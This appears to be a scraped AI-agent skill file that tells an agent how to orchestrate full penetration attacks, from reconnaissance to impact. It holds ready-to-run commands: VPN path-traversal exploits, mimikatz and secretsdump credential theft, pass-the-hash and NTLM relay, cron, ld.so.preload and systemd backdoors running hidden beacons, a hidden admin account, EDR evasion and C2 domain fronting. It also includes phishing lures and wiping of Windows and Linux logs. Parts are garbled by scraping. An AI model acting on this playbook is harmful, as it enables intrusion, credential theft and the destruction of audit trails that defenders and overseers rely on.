Loading...
Loading...
Used for authorized multi-stage attack path planning and orchestration when a task covers reconnaissance, initial access, privilege escalation, lateral movement, or impact assessment. Route single-stage tasks directly to the corresponding specialist skill.
npx skill4agent add zhaoxuya520/reverse-skill attack-chainNOW../field-journal/precedent-pentest.mdNOW../scripts/case-init.ps1scope.md../ops/scope-contract.mdauth.status!=grantedNOW../ops/role-map.mdNEXT../tool-index.mdNEXTACTreferences/lifecycle-checklist.mdtimeline.mdworkitems.md../ops/timeline-workitem.mddocs-generatorThe overall commander for multi-stage attack path planning and execution. When a task requires a complete chain from "point A to point B", this Skill is responsible for orchestrating each stage, coordinating sub-skills, and planning attack paths. Not exclusive to red teams — any penetration scenario requiring cross-stage combination starts here.
| Scenario | Why Orchestration is Needed |
|---|---|
| "Help me perform a complete penetration test" | Requires planning the full process from information gathering to reporting |
| "Break from external network to domain controller" | Spans multiple stages: boundary breach → privilege escalation → lateral movement → AD attack |
| "HW Offensive and Defensive Drill" | Requires complete attack chain + stealth + trace cleanup |
| "Assess the attack surface of this target" | Requires multi-dimensional information gathering + path planning |
| "I got a webshell, what to do next" | Requires planning subsequent paths from the current foothold |
| "Help me plan an attack path" | Explicitly requires path orchestration |
| "How far can this vulnerability be exploited" | Requires evaluating the chained exploitation value of the vulnerability |
| "Bug Bounty continuous monitoring" | Requires automated multi-stage processes |
| "Full-process internal network penetration" | Combination of lateral movement + privilege escalation + domain attack |
| "Near-source penetration scheme" | Combination of physical access + internal network penetration |
| "Supply chain attack path" | Cross-organization multi-hop attack |
| "Phishing + post-penetration" | Combination of initial access + subsequent exploitation |
pentest-tools/pentest-tools/apk-reverse/pentest-tools/references/network-attack-defense.mdUser proposes multi-stage task
↓
attack-chain/SKILL.md (this file)
↓ Plan attack path, determine stage sequence
↓ Evaluate tools and methods required for each stage
↓
Distribute to specific sub-skills for execution:
├── pentest-tools/ → Tool invocation, vulnerability exploitation
├── apk-reverse/ → Mobile penetration
├── js-reverse/ → Web frontend breach
├── reverse-engineering/ → Binary analysis
├── ida-reverse/ → In-depth reverse engineering
└── browser-automation/ → Automated operations
↓
Return to this Skill to evaluate next steps after each stage is completed
↓
All completed → docs-generator generates reportAfter obtaining the target:
1. What is the target? (Web/internal network/cloud/mobile/IoT)
2. What do we currently have? (External perspective/existing credentials/existing foothold)
3. What is the final goal? (Domain controller/data/specific system/prove impact)
4. What are the constraints? (Time/stealth/untouchable systems)
↓
Plan the shortest path based on the above information
↓
If one path fails → Return to this Skill to re-plan alternative paths# Sub-company associated domain discovery
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt
# Merge and deduplicate
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt
# Survival detection
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt
# Port scanning (full ports)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results# GitHub search
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password
# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini
# API Keys in JS files
cat js_urls.txt | while read url; do
curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done{Name Pinyin}{Year} → zhangsan2024
{Name Initials}{Department Abbreviation} → zs_dev
{Employee ID}@{Domain} → 10086@target.com
{Name}{Common Suffix} → zhangsan@123, zhangsan!@## Web fingerprint
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json
# Specific framework detection
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt
# CMS identification
wpscan --url https://target.com --enumerate p,t,u| Vulnerability Type | Detection Tool | Exploitation Method |
|---|---|---|
| SQL Injection | sqlmap | Data extraction → write shell → OS command execution |
| SSTI | sstimap | Template injection → RCE |
| File Upload | Manual + Burp | Webshell → reverse shell |
| Deserialization | ysoserial/marshalsec | Java/PHP/Python RCE |
| SSRF | Manual | Internal network detection → cloud metadata → AK/SK |
| Unauthorized Access | nuclei | Spring Actuator / Nacos / Redis |
| XSS → Cookie | xsstrike | Administrator session hijacking |
# SQL injection automation
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent
# SSTI detection
sstimap -u "https://target.com/search?q=test"
# Nuclei batch scanning
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txtSubject Templates:
- [Urgent] VPN certificate is about to expire, please update immediately
- [IT Notice] Mailbox storage is insufficient, please clean up
- [HR] 2024 Performance Appraisal Result Inquiry
- [Finance] Reimbursement system upgraded, please re-login to confirm| Technique | Tool | Effect |
|---|---|---|
| BadUSB | Rubber Ducky / WiFi Ducky | Keyboard injection → reverse shell |
| Malicious Power Bank | O.MG Cable | Disguised data cable to implant backdoor |
| WiFi Phishing | Fluxion / WiFi Pineapple | Fake hotspot → credential capture |
| RFID Cloning | Proxmark3 | Access card duplication → physical entry |
| Network Implant | Raspberry Pi / LAN Turtle | Persistent internal network access point |
# Fluxion WiFi phishing
fluxion # Interactive selection of target AP → create fake hotspot → capture WPA password
# BadUSB联动 Cobalt Strike
# Inject PowerShell downloader via USB → connect to C2# Pulse Secure VPN (CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"
# Fortinet VPN (CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
# General: Password spraying
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post# AWS S3 bucket enumeration
aws s3 ls s3://target-bucket --no-sign-request
# Cloud metadata SSRF
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure AD password spraying
# Use MSOLSpray / Spray tools| Technique | Condition | Tool |
|---|---|---|
| Potato Series | SeImpersonate privilege | SweetPotato / GodPotato / PrintSpoofer |
| Kernel Vulnerability | Unpatched | watson / wesng detection |
| Service Path Hijacking | Unquoted service path | PowerUp |
| DLL Hijacking | Writable DLL search path | Process Monitor |
| AlwaysInstallElevated | Registry configuration | msiexec install malicious MSI |
| Scheduled Task | Writable task script | schtasks replacement |
# Detect SeImpersonate
whoami /priv | findstr "SeImpersonate"
# Potato privilege escalation
.\GodPotato.exe -cmd "cmd /c whoami"
# Automated detection
.\winPEAS.exe# SUID detection
find / -perm -4000 -type f 2>/dev/null
# sudo abuse
sudo -l
# Common exploitable: vim, find, python, nmap, less, awk, perl
# sudo vim privilege escalation
sudo vim -c ':!/bin/bash'
# sudo find privilege escalation
sudo find / -exec /bin/bash \;
# Kernel vulnerability
uname -r # Check version
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)
# Automated detection
./linpeas.sh-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- MySQL UDF privilege escalation
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');
-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';# AWS IAM enumeration
aws iam list-attached-user-policies --user-name compromised-user
# Look for iam:PassRole + lambda:CreateFunction → administrator privileges
# Azure AD
# Global Administrator → control over all subscriptions
# Application Administrator → add credentials to service principals# Mimikatz (Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt
# Linux credentials
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;
# NTLM Hash extraction
secretsdump.py domain/user:password@dc_ip# PTH lateral movement
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec
# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password
# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
# Golden Ticket
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt# WMI fileless execution
wmiexec.py domain/admin:password@target_ip "whoami"
# DCOM remote execution
dcomexec.py domain/admin:password@target_ip "whoami"
# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>
# PsExec (leaves traces)
psexec.py domain/admin:password@target_ip
# SSH tunnel (Linux environment)
ssh -D 1080 user@pivot_host # SOCKS proxy
ssh -L 3389:internal_host:3389 user@pivot_host # Port forwarding# Turn off SMB/HTTP in Responder
# Edit Responder.conf: SMB = Off, HTTP = Off
# Start Responder to capture
responder -I eth0
# NTLM Relay to target
ntlmrelayx.py -tf targets.txt -smb2support
# Coercer forced authentication
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip# BloodHound data collection
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip
# Common attack paths:
# 1. User → GenericAll → Target User → Reset password
# 2. User → WriteDacl → Target OU → Add permissions
# 3. Computer → Constrained Delegation → Impersonate any user
# 4. User → DCSync permission → Export all Hashes
# Certipy AD CS attack
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate| Technique | Stealth | Detection Difficulty |
|---|---|---|
| Scheduled Task | Medium | Low |
| Registry Run Key | Low | Low |
| WMI Event Subscription | High | High |
| DLL Hijacking | High | Medium |
| Shadow Account | Medium | Medium |
| Golden Ticket | Extremely High | Extremely High |
| DSRM Backdoor | Extremely High | Extremely High |
# WMI event subscription (high stealth)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
Name = "CoreFilter"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# Shadow account
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# Modify registry F value to clone RID# SSH key implantation
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
# Crontab backdoor
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -
# LD_PRELOAD hijacking
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload
# PAM backdoor
# Modify pam_unix.so to add universal password
# Systemd service
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service# AWS Lambda backdoor
# Create a scheduled Lambda function to connect back to C2
# Azure AD application registration
# Create application → add key credentials → grant Graph API permissions
# Container backdoor
# Modify base image → all new containers come with backdoor| Layer | Technique | Description |
|---|---|---|
| Static Detection | Encryption/obfuscation/custom loader | Avoid signature matching |
| Behavior Detection | Indirect system call/Unhooking | Bypass API Hook |
| Memory Detection | Module stomping/heap encryption | Avoid memory scanning |
| Network Detection | Domain fronting/legitimate service tunneling | Blend into normal traffic |
| Log Detection | ETW Patching/log cleanup | Reduce traces |
1. Custom shellcode loader (do not use public tools)
2. Direct system call invocation (bypass ntdll hook)
3. Choose low-monitoring processes for injection (e.g., RuntimeBroker.exe)
4. C2 traffic via HTTPS + domain fronting / Cloudflare Workers
5. Execute in memory, no disk write (Fileless)
6. Use legally signed programs for loading (LOLBins)| Framework | Features | Applicable Scenario |
|---|---|---|
| Cobalt Strike | Mature and stable, team collaboration | Large-scale red team operations |
| Sliver | Open-source, written in Go | Limited budget |
| Havoc | Modern, modular | Customization required |
| Mythic | Multi-agent support | Cross-platform |
| AdaptixC2 | Included in Kali 2026.1 | Rapid deployment |
# Windows log cleanup
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
# Linux log cleanup
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w
# Timestamp modification
touch -t 202301010000 /path/to/file
# Memory cleanup
# Ensure Mimikatz dump is deleted
# Ensure C2 beacon has exited
# Ensure temporary files are cleared| Failure Cause | Consequence | Lesson |
|---|---|---|
| Failed to clear Mimikatz memory dump | Blue team traced the complete attack path | Clean up immediately after operation |
| C2 domain marked by threat intelligence | Intercepted on first connection | Use newly registered domains + domain fronting |
| Phishing email triggered DLP alert | Blue team warned in advance | Test email gateway rules first |
| Lateral movement triggered honeypot | Exposed attack intent | Identify honeypots before taking action |
subfinderamasshttpxnaabukatanagaudnsxnmapwhatwebwpscannucleisqlmapsstimapxsstrikeburpsuitemetasploitwinPEASlinpeasGodPotatoPrintSpooferwatsonmimikatzcrackmapexec/netexecimpacketbloodhoundcertipycoercerresponderevil-winrmcobalt-strikesliverhavocmythicadaptixc2fluxionaircrack-ngproxmark3rubber-duckywifi-pineapple| Requirement | Route to |
|---|---|
| In-depth web vulnerability exploitation | |
| Detailed steps for internal network AD attack | |
| Reverse analysis of malicious samples | |
| APK reverse engineering (mobile penetration) | |
| JS frontend signature bypass | |
| Automated mass penetration | Pentest Swarm AI ( |
| AI-assisted penetration | |
| Report generation | |
| Attack path diagram | |
tool-index